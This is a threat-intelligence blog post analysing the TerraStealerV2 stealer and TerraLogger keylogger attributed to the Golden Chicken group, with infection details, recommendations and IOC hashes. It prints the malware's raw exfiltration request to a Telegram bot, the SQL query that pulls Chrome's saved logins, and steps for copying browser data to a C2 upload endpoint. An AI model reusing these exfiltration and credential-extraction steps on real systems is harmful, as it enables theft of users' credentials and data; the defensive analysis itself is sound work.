The Golden Chicken group has just launched two extremely dangerous malware families named TerraStealerV2 and TerraLogger

Vũ Nhật LâmVũ Nhật Lâm
4 min read

Overview

According to reports from Insikt Group (a research team of Recorded Future), two new malware strains, TerraStealerV2 and TerraLogger, have been discovered related to the GoldenChiken group (also known as Venom Spider). This Golden Chicken group is known for running a Malware-as-a-Service (MaaS) platform used by criminal groups like FIN 6, Cobalt Strike, and Evilnum. Since 2018, this group has conducted numerous attacks on large organizations through phishing campaigns using fake job offers and interview documents. The two malware strains created by this group are designed to steal data and perform keylogging.

Golden Chicken MaaS suite

Main components of the Golden Chicken MaaS suite are VenomLNK and TerraLoader. The initial infection on the victim's machine happens through a Windows shortcut called VenomLNK, which executes the TerraLoader. TerraLoader then sets up other malware and has various modules.

TerraStealerV2-001.png

Between August and October 2024, Zscaler ThreatLabz detected activities related to the Golden Chicken group using two malware strains, RevC2 and Venom Loader. They are also set up through VenomLNK, using social engineering methods like cryptocurrency payment requests and documents using APIs.

TerraStealerV2-002.png

TerraStealerV2

This stealer malware is intended to be distributed through OCX files and executed via regsvr32.exe, then it calls the DllRegisterServer function. The DllRegisterServer function checks if the provided file is an .ocx file and if the file name ends with a specific character (for example, 0.ocx). Then this file is run by regsvr32.exe.

TerraStealerV2-003.png

The malware will perform decryption using XOR with a pre-existing key. Then it will collect basic information such as the device name and local users on the machine. The malware also identifies the machine's IP address through an HTTP request to ifconfig[.]me. This information will be sent to Telegram to the Noterdam channel using a bot token related to NoterdanssBot. The request information sent to Telegram is as follows:

POST /< redacted >/sendMessage?chat_id=-4652754121 HTTP/1.1
Host: api.telegram.org
Accept: */*
Content-Length: 24014
Content-Type: application/x-www-form-urlencoded


chat_id=-4652754121&text=%2A%2ANew%20User%20Ran%20the%20Application%2A%2A%0A%2A%2AUsername%3A%2A%2A%20Admin%0A%2A%2APC%20Name%3A%2A%2A%20UUHJKMQK%0A%2A%2AIP%20Address%3A%2A%2A%20%3C%21DOCTYPE%20html%3E%0A%3Chtml%20lang%3D%22en%22%3E%0A%0A%3Chead%3E%0A%20%20%20%20%3Cmeta%20http-equiv%3D%22Content-Type%22%20content%3D%22text%2Fhtml%3B%20charset%3DUTF-8%22%3E%0A%20%20%20%20%3Cmeta%20http-equiv%3D%22content-style-type%22%20content%3D%22text%2Fcss%22%20%2F%3E%0A%20%20%20%20%3Cmeta%20http-equiv%3D%22content-script-type%22%20content%3D%22text%2Fjavascript%22%20%2F%3E%0A%20%20%20%20%3Cmeta%20http-equiv%3D%22content-language%22%20content%3D%22en%22%20%2F%3E%0A%20%20%20%20%3Cmeta%20http-equiv%3D%22pragma%22%20content%3D%22no-cache%22%20%2F%3E%0A%20%20%20%20%3Cmeta%20http-equiv%3D%22cache-control%22%20content%3D%22no-cache%22%20%2F%3E%0A%20%20%20%20%3Cmeta%20name%3D%22description%22%20content%3D%22Get%20my%20IP%20Address%22%20%2F%3E%0A%20%20%20%20%3Cmeta%20name%3D%22keywords%22%20content%3D%22ip%20address%20ifconfig%20ifconfig.me%22%20%2F%3E%0A%20%20%20%20%3Cmeta%20name%3D%22author%22%20content%3D%22%22%20%2F%3E%0A%20%20%20%20%3Clink%20rel%3D%22shortcut%20icon%22%20href%3D%22favicon.ico%22%20%2F%3E%0A%20%20%20%20%3Clink%20rel%3D%22canonical%22%20href%3D%22https%3A%2F%2Fifconfig.me%2F%22%20%2F%3E%0A%20%20%20%20%3Ctitle%3EWhat%20Is%20My%20IP%20Address%3F%20-%20ifconfig.me%3C%2Ftitle%3E%0A%20%20%20%20%3Cmeta%20name%3D%22viewport%22%20content%3D%22width%3Ddevice-width%2C%20initial-scale%3D1%22%3E%0A%20%20%20%20%3Clink%20href%3D%22.%2Fstatic%2Fstyles%2Fstyle.css%22%20rel%3D%22stylesheet%22%20type%3D%22text%2Fcss%22%3E%0A%20%20%20%20%3Clink%20href%3D%22https%3A%2F%2Ffonts.googleapis.com%2Fcss%3Ffa

The malware will then gather information about the running processes, search for the chrome.exe process, and if it is found running, it will stop the process using the Windows API. This is believed to free up Chrome's database file, ensuring no interference when accessing this file during data extraction. The malware will then steal account credentials and other sensitive information from Chrome. It will copy the Login Data database to C:\ProgramData\Temp\LoginData, and then extract the saved login data using a statically linked SQLite library to execute SQL commands.

SELECT origin_url, username_value, password_value FROM logins

However, this malware cannot bypass Chrome's Application Bound Encryption (ABE) updated in July 2024, so passwords cannot be decrypted. This indicates that the malware's code is outdated and still in development. The extracted information will be written into the file C:\ProgramData\file.txt and then copied to %LOCALAPPDATA%\Packages\Bay0NsQIzx\p.txt. Chrome's extension and wallet directories are also copied to %LOCALAPPDATA%\Packages\Bay0NsQIzx. This information is then compressed into a file named output.zip and sent to a Telegram bot and a C2 server hosted at wetransfers[.]io/uplo.php.

TerraLogger

The TerraLogger malware is distributed as an OCX file and is executed similarly to TerraStealerV2. This malware records user input into files like a.txt, f.txt, op.txt, and save.txt located in the C:\ProgramData directory. This keylogger malware uses a common technique by setting up a WH_KEYBOARD_LL hook using SetWindowsHookExA, registering a function to record keyboard activity.

TerraStealerV2-005.png

The collected content will be recorded into the file as follows:

TerraStealerV2-006.png

Recommendation

FPT Threat Intelligence recommends that users be cautious of these types of malware and take measures such as:

  • Updating the list of IOCs related to the malware

  • Implementing measures to monitor and promptly detect malicious software

  • Being wary of new, complex phishing attack tactics

  • Raising awareness among employees and users, and regularly conducting information security drills

IOC

9aed0eda60e4e1138be5d6d8d0280343a3cf6b30d39a704b2d00503261adbe2aolala.lnk
58b324d37bbf6d706b0fe5dbb8bca92d9628a9c394ca81121cea1690a16a3afa1.exe
63fb3ed0aba87917847ad256c4e89f7b250adc6e2eac74023bb52e091ab0ef97BundleInstaller.dll
4b6fa036aceb1e2149848ff46c4e1a6a89eee3b7d59769634ce9127fdaa96234setup.msi
14d9d56bc4c17a971a9d69b41a4663ab7eb2ca5b52d860f9613823101f072c31setup.msi
1ed9368d5ac629fa2e7e81516e4520f02eb970d010d3087e902cd4f2e35b1752setup.msi
766690a09ec97e414e732d16b99b19389a91835abc15684cc0f1aba2ca93cf98hyhyhy.lnk
313203cb71acd29e6cc542bf57f0e90ce9e9456e2483a20418c8f17b7afe0b571.exe
de6ed44d21e5bc9bc5c1c51f33760a5d96378308d02c2c81ef2d75e7a201fb631.exe
828eee78537e49b46e34a754306ccf67f6281b77e5caeaf53132a32b6b708e5c
151a83f0b54d23d84fb152ee34c4344801da937d03cc354ab8a149d64b8247b3
d6246e4f0425b38a26298b7840729e677c4d16f084a005c46fad4904637e726a
a2f7d83ddbe0aeba5f5113a8adf2011dc1a7393fa4fe123e74a17dbc2a702b13
067421234fdd631628569bd86b6757ce4c78139c3609493c92db7b096b0c22f4
315e0c9f0dbfa662327c57a570bcafc79b1ba816deb9647fd8da5dc6dc1e8808
f06097b6f4bf86ad00c8f7115d538823a73e531b0f06b66f63f9c70e47f4ea98
852879a9832cd13cbc9510503abf9b0906bb5e08e5ffae74381aaca3c502d826
81117772d2b1997f4e280c3add3b56c128444ba05ec4eaaf2293ef8ff1c76257

Reference

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Vũ Nhật Lâm
Vũ Nhật Lâm